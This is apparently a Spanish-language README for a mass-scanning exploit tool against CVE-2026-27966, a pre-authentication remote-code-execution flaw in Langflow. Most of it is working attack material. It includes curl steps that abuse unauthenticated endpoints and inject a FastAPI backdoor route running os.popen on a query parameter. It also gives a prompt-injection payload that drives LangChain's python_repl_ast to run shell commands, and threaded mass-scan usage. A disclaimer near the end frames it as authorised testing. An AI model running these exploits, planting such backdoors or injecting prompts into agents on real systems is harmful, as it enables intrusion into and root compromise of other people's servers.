
Escáner de RCE sin autenticación para Langflow < 1.8.0 — Inyección de ruta + Inyección de vértice → Ejecución de código (CVSS 9.8)
CVE-2026-27966 es una vulnerabilidad de ejecución remota de código previa a la autenticación de gravedad crítica (CVSS 9.8) en versiones de Langflow anteriores a la 1.8.0. La vulnerabilidad se debe a que allow_dangerous_code=True está codificado en el componente CSV Agent, exponiendo la herramienta python_repl_ast de LangChain a inyección de indicaciones no autenticada.
Además, múltiples endpoints de API carecen de autenticación adecuada, lo que permite la inyección directa de rutas y la inyección de vértices de flujo, incluso en instancias donde el CSV Agent no está configurado.
| Versión de Langflow | Estado |
|---|---|
| < 1.8.0 | Vulnerable |
| >= 1.8.0 | Parcheado |
Este escáner prueba tres rutas de explotación distintas:
GET /api/v1/auto_login → obtén session / API key
POST /api/v1/custom_component → registra ruta backdoor
GET /api/{backdoor}?c=command → RCE
POST /api/v1/custom_component → registra ruta backdoor
GET /api/{backdoor}?c=command → RCE
GET /api/v1/flows/basic_examples → extrae UUIDs de flujo (26 expuestos)
POST /api/v1/build/{UUID}/vertices → inyecta vértice malicioso
POST /api/v1/run/{UUID} → ejecuta código del vértice → RCE
En src/lfx/src/lfx/components/langchain_utilities/csv_agent.py, el nodo CSV Agent codifica allow_dangerous_code=True, lo que expone automáticamente la herramienta python_repl_ast de LangChain:
agent_kwargs = {
"verbose": self.verbose,
"allow_dangerous_code": True, # hardcoded — cannot be disabled via UI
}
agent_csv = create_csv_agent(..., **agent_kwargs)
Esto permite que cualquier indicación que llegue al CSV Agent ejecute código Python arbitrario mediante:
Action: python_repl_ast
Action Input: __import__("os").system("command")
La API REST de Langflow expone varios endpoints sin autenticación:
En instancias donde auto_login está habilitado (por defecto en muchas implementaciones Docker), un atacante obtiene una sesión y una clave API válidas:
curl -sk 'https://target.com/api/v1/auto_login'
# Devuelve sesión con access_token → acceso completo a la API
Con una clave API válida, el atacante puede usar POST /api/v1/custom_component para registrar una ruta backdoor FastAPI que persiste en memoria hasta que se reinicia el servidor:
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
import os
return os.popen(c).read()
app.include_router(router, prefix="/api")
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt
# Objetivo único
python cve_2026_27966.py -t target.com:7860
# Escaneo masivo
python cve_2026_27966.py -f targets.txt
# Escaneo masivo + guardar resultados
python cve_2026_27966.py -f targets.txt -o rce.txt
# Solo detección (omitir explotación)
python cve_2026_27966.py -f targets.txt --no-exploit
# Salida detallada
python cve_2026_27966.py -f targets.txt -v
-t, --target Objetivo único (IP:puerto o dominio)
-f, --file Lista de objetivos, uno por línea
-o, --output Guardar resultados de RCE en archivo
--threads Trabajadores concurrentes (por defecto: 30)
--no-exploit Solo detección, omitir intentos de RCE
-v, --verbose Mostrar todos los resultados incluyendo objetivos sin RCE
$ python cve_2026_27966.py -t target.com:7860 -v
CVE-2026-27966 — Langflow RCE Scanner
CVSS 9.8 | Pre-Auth | Route Injection → RCE
Host : target.com:7860
Langflow : YES v1.2.0
Vuln : YES
API Key : NOT REQUIRED
RCE : YES
Output : uid=0(root) gid=0(root) groups=0(root)
Time : 12.3s
CVE-2026-27966 Langflow RCE Scanner
Targets: 4127 | Threads: 30 | Exploit: ON
-------------------------------------------------------
[RCE] 192.168.10.50 v1.2.0 7.3s
uid=0(root) gid=0(root) groups=0(root)
[AUTH] target.internal:4433 v1.2.0 14.1s (API key)
[500/4127] scanning... (12%)
-------------------------------------------------------
Total: 4127 | Langflow: 47 | RCE: 3 | API-Protected: 41
-------------------------------------------------------
Paso 1 — Detectar Langflow
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
Paso 2 — Extraer UUIDs de flujo
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
Paso 3 — Inyectar vértice backdoor
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
-H 'Content-Type: application/json' \
-d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
Paso 4 — Ejecutar comando
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
La explotación exitosa produce ejecución remota de código como root en el contenedor Docker de Langflow. Desde allí, un atacante puede:
SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.
Este software está destinado a profesionales de seguridad que realizan pruebas de penetración autorizadas, organizaciones que auditan su propia infraestructura e investigadores que estudian la explotación de vulnerabilidades.
El acceso no autorizado a sistemas informáticos es ilegal y puede violar:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- Unión Europea: Directiva 2013/40/EU
- Reino Unido: Computer Misuse Act 1990
Los autores no asumen ninguna responsabilidad por el mal uso. Al usar este software, usted acepta toda la responsabilidad por sus acciones.
| Recurso |
|---|
Este proyecto no está afiliado con Langflow o Logspace.
| Endpoint | Autenticación | Datos Expuestos |
|---|
GET /api/v1/version | Ninguna | Versión de Langflow |
GET /api/v1/health | Ninguna | Estado de la instancia |
GET /api/v1/flows/basic_examples/ | Ninguna | 26 UUIDs de flujo de ejemplo + estructura |
POST /api/v1/build/{uuid}/vertices | Ninguna | Acepta inyección de código arbitraria |
POST /api/v1/users/ | Ninguna | Creación de usuario (inactivo) |
GET /openapi.json | Ninguna | Documentación completa de la API |
| Métrica | Valor |
|---|
| Vector de Ataque | Red (remoto) |
| Complejidad del Ataque | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
| Alcance | Sin cambios |
| Confidencialidad | Alta |
| Integridad | Alta |
| Disponibilidad | Alta |
| Enlace |
|---|
| Aviso de GitHub | GHSA-3645-fxcv-hqr4 |
| Commit de corrección | d8c6480d |
| Módulo Metasploit | Rapid7 |
| Entrada NVD | CVE-2026-27966 |